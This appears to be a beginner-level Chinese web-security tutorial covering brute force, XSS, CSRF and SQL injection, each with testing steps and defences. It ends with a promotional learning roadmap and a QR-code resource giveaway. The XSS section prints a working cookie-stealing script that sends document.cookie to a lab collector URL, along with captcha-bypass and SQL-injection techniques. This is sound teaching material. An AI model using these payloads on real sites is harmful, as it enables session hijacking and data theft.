Web 安全四大核心漏洞详解暴力破解、XSS、CSRF、SQL 注入本文将详细讲解 Web 安全中最基础靶场、面试高频的四大漏洞暴力破解、XSS 跨站脚本、CSRF 跨站请求伪造、SQL 注入。内容包含原理、测试流程、场景分析以及防御方案适合网络安全新手学习Markdown 格式可直接复制发布。一、暴力破解攻击概述暴力破解就是批量不断尝试用户名与密码组合直到匹配出正确账号密码完成登录。字典常见弱口令字典收集互联网高频使用密码如 123456、admin888 等社工字典结合目标姓名、手机号、生日等个人信息生成专属字典泄露库字典互联网泄露的脱裤账号密码多用于撞库攻击。产生条件网站未强制用户设置复杂度较高的密码登录接口没有部署安全验证码防护登录接口没有登录失败次数限制允许无限次提交账号密码没有启用双因素认证仅依靠账号密码完成身份校验。测试流程确认登录接口的脆弱性判断是否存在次数限制、验证码校验根据业务场景对字典做精简优化剔除无效内容提升爆破效率使用工具加载字典进行自动化批量请求。实战技巧优先查看注册页面确认账号密码的格式要求密码长度、是否允许数字特殊符号过滤无效字典后台管理系统高频账号admin、administrator、root优先尝试。常见验证码绕过场景前端验证码校验验证码只在前端 JS 做判断后端不校验抓包删除验证码参数即可直接绕过验证码使用后没有被销毁同一个验证码可以多次复用重复提交数据包实现爆破Token 参数前端可控token 直接输出在前端页面脚本自动抓取 token 随登录数据包一起提交绕过验证码限制。二、XSS跨站脚本漏洞产生原理网站对用户输入的数据过滤不严恶意 JS 脚本被存入页面其他用户访问页面时浏览器把恶意内容当作 JS 代码解析执行。攻击者可以实现窃取 Cookie、钓鱼、篡改页面等攻击行为。XSS 分为三类存储型 XSS、反射型 XSS、DOM 型 XSS。存储型 XSS高危恶意脚本存入服务器数据库所有访问该页面的用户都会触发脚本。常见位置留言板、评论区、帖子发布功能。反射型 XSS恶意脚本放在 URL 参数中受害者点击构造好的恶意链接才会触发不会存入数据库属于一次性触发。Cookie 窃取 Payload 示例scriptdocument.locationhttp://127.0.0.1:8080/pkxss/xcookie/cookie.php?cookiedocument.cookie;/script构造后的攻击链接http://127.0.0.1:8080/pikachu/vul/xss/xss_reflected_get.php?message%3Cscript%3Edocument.location%3D%27http%3A%2F%2F127.0.0.1%3A8080%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3EsubmitsubmitPOST 型反射 XSS 需要攻击者搭建恶意网页诱导受害者访问自动提交 POST 请求触发漏洞。DOM 型 XSS不经过服务器后端完全依靠前端 JS 处理页面 DOM通过修改页面 DOM 节点执行恶意代码。请求不会携带恶意参数到后端抓包看不到恶意脚本。XSS 防范措施输入过滤过滤 /等特殊标签与符号输出转义数据输出渲染到页面时做 HTML 实体转义设置 Cookie 的 HttpOnly 属性阻止 JS 读取 Cookie部署 CSP 内容安全策略限制脚本加载来源。三、CSRF跨站请求伪造概述CSRF 攻击是攻击者诱导用户在已登录状态下访问恶意页面利用用户当前登录身份在用户不知情的情况下发起业务请求完成修改密码、修改个人资料等操作也叫 “一键攻击”。攻击成立两个必要条件目标网站关键业务请求没有 CSRF 防护请求可以被伪造用户处于网站登录状态并且点击访问攻击者构造的恶意页面用户未登录则攻击失效。CSRF 与 XSS 核心区别CSRF借用用户已有的权限执行操作无法拿到用户凭证XSS直接执行恶意脚本窃取用户 Cookie 等权限凭证。测试流程抓包观察修改密码、修改资料等关键请求数据包查看请求是否携带随机 Token、验证码等校验参数。GET / POST 漏洞演示GET 型 CSRF业务操作全部依靠 URL 明文参数直接构造恶意链接诱导用户点击POST 型 CSRF攻击者搭建外部恶意网页页面自动发送 POST 表单请求完成伪造操作。防御方案Anti‑CSRF‑Token每一次关键请求携带服务端生成的随机唯一 Token后端校验 Token 合法性校验请求的 Referer 来源高危业务操作增加验证码、短信二次确认。四、SQL 注入漏洞漏洞原理后端直接把用户可控输入拼接进 SQL 语句没有做过滤处理。攻击者构造特殊闭合字符篡改原有 SQL 逻辑欺骗数据库执行恶意语句实现查询、篡改、删除数据库数据。注入点分类数字型注入参数直接作为数字不需要引号闭合字符型注入参数被单引号 / 双引号包裹需要先闭合引号破坏原有 SQL 语法搜索型注入搜索框模糊查询场景依靠%通配符闭合。GET 与 POST 注入区别GET 注入参数放在 URL 中测试简单日志容易记录POST 注入参数放在请求体不在 URL 展示隐蔽性更强。手工测试思路闭合测试输入单引号观察页面报错、异常联合查询注入使用union select爆库、爆表、爆字段、拿数据布尔盲注页面只有两种状态没有数据回显根据页面真假状态猜解数据时间盲注页面无任何差异使用sleep()延时函数依靠服务器响应时间判断 SQL 执行结果。SQL 注入防御方案优先参数化预编译查询禁止直接拼接用户输入到 SQL 语句使用 ORM 框架减少手写原生 SQL输入校验优先白名单策略数据库账号最小权限业务账号不授予 drop、alter 等高风险权限生产环境关闭数据库详细报错输出。五、总结暴力破解、XSS、CSRF、SQL 注入是 Web 安全入门四大经典漏洞也是面试、护网高频考点。暴力破解认证防护缺失依靠字典批量尝试账号密码XSS 跨站脚本输入输出过滤缺失执行恶意 JS 脚本窃取会话、篡改页面CSRF 跨站请求伪造利用用户登录态伪造业务请求缺少随机 Token 校验SQL 注入SQL 语句直接拼接可控输入可窃取、篡改数据库数据危害极高。Web 漏洞通用防御思想严格管控输入、规范输出渲染、权限最小化、关键操作增加二次校验。免责声明本文技术内容仅供安全学习与靶场练习未经授权禁止对任何线上网站实施渗透攻击违规操作需要承担相应法律责任。最后网络安全需要学习那些知识网络安全零基础入门学习路线规划初级1、网络安全理论知识2天①了解行业相关背景前景确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。非常重要2、渗透测试基础一周①渗透测试的流程、分类、标准②信息收集技术主动/被动信息搜集、Nmap工具、Google Hacking③漏洞扫描、漏洞利用、原理利用方法、工具MSF、绕过IDS和反病毒侦察④主机攻防演练MS17-010、MS08-067、MS10-046、MS12-20等3、操作系统基础一周①Windows系统常见功能和命令②Kali Linux系统常见功能和命令③操作系统安全系统入侵排查/系统加固基础4、计算机网络基础一周①计算机网络基础、协议和架构②网络通信原理、OSI模型、数据转发流程③常见协议解析HTTP、TCP/IP、ARP等④网络攻击技术与网络安全防御技术⑤Web漏洞原理与防御主动/被动攻击、DDOS攻击、CVE漏洞复现5、数据库基础操作2天①数据库基础②SQL语言基础③数据库安全加固6、Web渗透1周①HTML、CSS和JavaScript简介②OWASP Top10③Web漏洞扫描工具④Web渗透工具Nmap、BurpSuite、SQLMap、其他菜刀、漏扫等恭喜你如果学到这里你基本可以从事一份网络安全相关的工作比如渗透测试、Web 渗透、安全服务、安全分析等岗位如果等保模块学的好还可以从事等保工程师。薪资区间6k-15k到此为止大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗想要入坑黑客网络安全的朋友给大家准备了一份282G全网最全的网络安全资料包免费领取7、脚本编程初级/中级/高级在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中面对复杂多变的网络环境当常用工具不能满足实际需求的时候往往需要对现有工具进行扩展或者编写符合我们要求的工具、自动化脚本这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中想要高效地使用自制的脚本工具来实现各种目的更是需要拥有编程能力.零基础入门建议选择脚本语言Python/PHP/Go/Java中的一种对常用库进行编程学习 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP IDE强烈推荐Sublime ·Python编程学习学习内容包含语法、正则、文件、 网络、多线程等常用库推荐《Python核心编程》不要看完 ·用Python编写漏洞的exp,然后写一个简单的网络爬虫 ·PHP基本语法学习并书写一个简单的博客系统 熟悉MVC架构并试着学习一个PHP框架或者Python框架 (可选) ·了解Bootstrap的布局或者CSS。8、超级黑客这部分内容对零基础的同学来说还比较遥远就不展开细说了贴一个大概的路线。网络安全工程师企业级学习路线视频配套资料国内外网安书籍、文档工具当然除了有配套的视频同时也为大家整理了各种文档和书籍资料工具并且已经帮大家分好类了。一些我自己买的、其他平台白嫖不到的视频教程要学习网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】
